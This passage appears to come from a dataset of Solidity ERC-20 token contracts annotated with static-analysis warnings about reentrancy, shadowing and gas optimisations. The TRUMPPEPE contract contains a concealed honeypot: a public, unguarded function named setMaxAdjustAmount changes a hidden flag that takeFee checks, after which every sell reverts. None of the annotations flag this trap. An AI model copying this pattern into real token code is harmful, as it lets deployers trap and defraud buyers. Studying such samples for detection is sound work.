Optimization Issue (constable-states | ID: 99f0f36): TRUMPPEPE._buyMarketingFee should be constant \n\t// Recommendation for 99f0f36: Add the 'constant' attribute to state variables that never change.\n uint256 public _buyMarketingFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac7691f): TRUMPPEPE._buyBuyBackFee should be constant \n\t// Recommendation for ac7691f: Add the 'constant' attribute to state variables that never change.\n uint256 public _buyBuyBackFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06ffc5b): TRUMPPEPE._sellLiquidityFee should be constant \n\t// Recommendation for 06ffc5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellLiquidityFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73b45a1): TRUMPPEPE._sellMarketingFee should be constant \n\t// Recommendation for 73b45a1: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellMarketingFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b6f05b): TRUMPPEPE._sellBuyBackFee should be constant \n\t// Recommendation for 3b6f05b: Add the 'constant' attribute to state variables that never change.\n uint256 public _sellBuyBackFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 723f251): TRUMPPEPE._liquidityShare should be constant \n\t// Recommendation for 723f251: Add the 'constant' attribute to state variables that never change.\n uint256 public _liquidityShare = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8185ee): TRUMPPEPE._marketingShare should be constant \n\t// Recommendation for a8185ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _marketingShare = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fa513e): TRUMPPEPE._BuyBackShare should be constant \n\t// Recommendation for 3fa513e: Add the 'constant' attribute to state variables that never change.\n uint256 public _BuyBackShare = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 22bd0d8): TRUMPPEPE._totalTaxIfBuying should be immutable \n\t// Recommendation for 22bd0d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalTaxIfBuying = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6ae6213): TRUMPPEPE._totalTaxIfSelling should be immutable \n\t// Recommendation for 6ae6213: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalTaxIfSelling = 0;\n\n int32 private girdharii = 5;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad7b4bf): TRUMPPEPE._totalDistributionShares should be immutable \n\t// Recommendation for ad7b4bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalDistributionShares = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38f7b94): TRUMPPEPE._totalSupply should be constant \n\t// Recommendation for 38f7b94: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1de55e1): TRUMPPEPE._maxTxAmount should be constant \n\t// Recommendation for 1de55e1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: b57096f): TRUMPPEPE._walletMax should be constant \n\t// Recommendation for b57096f: Add the 'constant' attribute to state variables that never change.\n uint256 public _walletMax = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 16f3e49): TRUMPPEPE.minimumTokensBeforeSwap should be immutable \n\t// Recommendation for 16f3e49: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private minimumTokensBeforeSwap = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 930e53f): TRUMPPEPE.uniswapV2Router should be immutable \n\t// Recommendation for 930e53f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b7bab1a): TRUMPPEPE.uniswapPair should be immutable \n\t// Recommendation for b7bab1a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8295f0): TRUMPPEPE.swapAndLiquifyEnabled should be constant \n\t// Recommendation for e8295f0: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35008df): TRUMPPEPE.swapAndLiquifyByLimitOnly should be constant \n\t// Recommendation for 35008df: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyByLimitOnly = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08ecac8): TRUMPPEPE.checkWalletLimit should be constant \n\t// Recommendation for 08ecac8: Add the 'constant' attribute to state variables that never change.\n bool public checkWalletLimit = true;\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n event SwapETHForTokens(uint256 amountIn, address[] path);\n\n event SwapTokensForETH(uint256 amountIn, address[] path);\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n _totalTaxIfBuying = buyLiquidityFee.add(_buyMarketingFee).add(\n _buyBuyBackFee\n );\n\n _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(\n _sellBuyBackFee\n );\n\n _totalDistributionShares = _liquidityShare.add(_marketingShare).add(\n _BuyBackShare\n );\n\n isWalletLimitExempt[owner()] = true;\n\n isWalletLimitExempt[address(uniswapPair)] = true;\n\n isWalletLimitExempt[address(this)] = true;\n\n isTxLimitExempt[owner()] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n isMarketPair[address(uniswapPair)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b69bd3f): TRUMPPEPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b69bd3f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ffd173b): TRUMPPEPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ffd173b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 80b9b7c\n\t\t// reentrancy-benign | ID: d33122d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 061eebc\n\t\t// reentrancy-events | ID: c5d2cc8\n emit Approval(owner, spender, amount);\n }\n\n function setMaxAdjustAmount() external payable virtual returns (int) {\n girdharii = 8;\n\n return 1;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(deadAddress));\n }\n\n function transferToAddressETH(\n address payable recipient,\n uint256 amount\n ) private {\n\t\t// reentrancy-events | ID: 061eebc\n\t\t// reentrancy-events | ID: 8b183ec\n\t\t// reentrancy-events | ID: c5d2cc8\n\t\t// reentrancy-eth | ID: d584cc4\n recipient.transfer(amount);\n }\n\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5d2cc8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5d2cc8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d33122d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d33122d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c5d2cc8\n\t\t// reentrancy-benign | ID: d33122d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c5d2cc8\n\t\t// reentrancy-benign | ID: d33122d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b183ec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b183ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d584cc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d584cc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(sender, recipient, amount);\n } else {\n if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool overMinimumTokenBalance = contractTokenBalance >=\n minimumTokensBeforeSwap;\n\n if (\n overMinimumTokenBalance &&\n !inSwapAndLiquify &&\n !isMarketPair[sender] &&\n swapAndLiquifyEnabled\n ) {\n if (swapAndLiquifyByLimitOnly)\n contractTokenBalance = minimumTokensBeforeSwap;\n\n\t\t\t\t// reentrancy-events | ID: 8b183ec\n\t\t\t\t// reentrancy-eth | ID: d584cc4\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-eth | ID: d584cc4\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n\t\t\t// reentrancy-events | ID: 8b183ec\n\t\t\t// reentrancy-eth | ID: d584cc4\n uint256 finalAmount = (isExcludedFromFee[sender] ||\n isExcludedFromFee[recipient])\n ? amount\n : takeFee(sender, recipient, amount);\n\n if (checkWalletLimit && !isWalletLimitExempt[recipient])\n require(balanceOf(recipient).add(finalAmount) <= _walletMax);\n\n\t\t\t// reentrancy-eth | ID: d584cc4\n _balances[recipient] = _balances[recipient].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: 8b183ec\n emit Transfer(sender, recipient, finalAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 061eebc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 061eebc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80b9b7c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80b9b7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 tAmount) private lockTheSwap {\n uint256 tokensForLP = tAmount\n .mul(_liquidityShare)\n .div(_totalDistributionShares)\n .div(2);\n\n uint256 tokensForSwap = tAmount.sub(tokensForLP);\n\n\t\t// reentrancy-events | ID: 061eebc\n\t\t// reentrancy-benign | ID: 80b9b7c\n swapTokensForEth(tokensForSwap);\n\n uint256 amountReceived = address(this).balance;\n\n uint256 totalETHFee = _totalDistributionShares.sub(\n _liquidityShare.div(2)\n );\n\n uint256 amountETHLiquidity = amountReceived\n .mul(_liquidityShare)\n .div(totalETHFee)\n .div(2);\n\n uint256 amountETHBuyBack = amountReceived.mul(_BuyBackShare).div(\n totalETHFee\n );\n\n uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(\n amountETHBuyBack\n );\n\n if (amountETHMarketing > 0)\n\t\t\t// reentrancy-events | ID: 061eebc\n transferToAddressETH(marketingWalletAddress, amountETHMarketing);\n\n if (amountETHBuyBack > 0)\n\t\t\t// reentrancy-events | ID: 061eebc\n transferToAddressETH(BuyBackWalletAddress, amountETHBuyBack);\n\n if (amountETHLiquidity > 0 && tokensForLP > 0)\n\t\t\t// reentrancy-events | ID: 061eebc\n\t\t\t// reentrancy-benign | ID: 80b9b7c\n addLiquidity(tokensForLP, amountETHLiquidity);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1bd1fd3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1bd1fd3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 061eebc\n\t\t// reentrancy-events | ID: 8b183ec\n\t\t// reentrancy-events | ID: 1bd1fd3\n\t\t// reentrancy-events | ID: c5d2cc8\n\t\t// reentrancy-benign | ID: 80b9b7c\n\t\t// reentrancy-benign | ID: d33122d\n\t\t// reentrancy-eth | ID: d584cc4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 1bd1fd3\n emit SwapTokensForETH(tokenAmount, path);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ab8c91e): TRUMPPEPE.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for ab8c91e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 061eebc\n\t\t// reentrancy-events | ID: 8b183ec\n\t\t// reentrancy-events | ID: c5d2cc8\n\t\t// reentrancy-benign | ID: 80b9b7c\n\t\t// reentrancy-benign | ID: d33122d\n\t\t// unused-return | ID: ab8c91e\n\t\t// reentrancy-eth | ID: d584cc4\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount = 0;\n\n if (isMarketPair[sender]) {\n feeAmount = amount.mul(_totalTaxIfBuying).div(100);\n } else if (isMarketPair[recipient]) {\n require(girdharii == 5);\n\n feeAmount = amount.mul(_totalTaxIfSelling).div(100);\n }\n\n if (feeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d584cc4\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\n\t\t\t// reentrancy-events | ID: 8b183ec\n emit Transfer(sender, address(this), feeAmount);\n }\n\n return amount.sub(feeAmount);\n }\n}\n",
"file_name": "solidity_code_10633.sol",
"size_bytes": 36930,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TENE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: baa9cb6): TENE._taxWallet should be immutable \n\t// Recommendation for baa9cb6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9eded49): TENE._initialBuyTax should be constant \n\t// Recommendation for 9eded49: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2794ccd): TENE._initialSellTax should be constant \n\t// Recommendation for 2794ccd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941497e): TENE._finalBuyTax should be constant \n\t// Recommendation for 941497e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 387f66a): TENE._finalSellTax should be constant \n\t// Recommendation for 387f66a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e7da03): TENE._reduceBuyTaxAt should be constant \n\t// Recommendation for 0e7da03: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd5aad3): TENE._reduceSellTaxAt should be constant \n\t// Recommendation for cd5aad3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0da7c2): TENE._preventSwapBefore should be constant \n\t// Recommendation for e0da7c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"New Mascot of The Holy Church\";\n\n string private constant _symbol = unicode\"TENEBRO\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85d1eae): TENE._taxSwapThreshold should be constant \n\t// Recommendation for 85d1eae: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce056fd): TENE._maxTaxSwap should be constant \n\t// Recommendation for ce056fd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 150000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e7c5217): TENE.uniswapV2Router should be immutable \n\t// Recommendation for e7c5217: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a61c731): TENE.uniswapV2Pair should be immutable \n\t// Recommendation for a61c731: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6090c9f): TENE.sellsPerBlock should be constant \n\t// Recommendation for 6090c9f: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e19a8f): TENE.buysFirstBlock should be constant \n\t// Recommendation for 4e19a8f: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 018e6f6): TENE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 018e6f6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ca47b7a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ca47b7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5ebb6b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5ebb6b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ca47b7a\n\t\t// reentrancy-benign | ID: 5ebb6b0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ca47b7a\n\t\t// reentrancy-benign | ID: 5ebb6b0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f07ffbe): TENE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f07ffbe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5ebb6b0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ca47b7a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d82456e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d82456e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 840ab7f): TENE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 840ab7f: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1e2a37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1e2a37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6020c7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6020c7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 840ab7f\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first 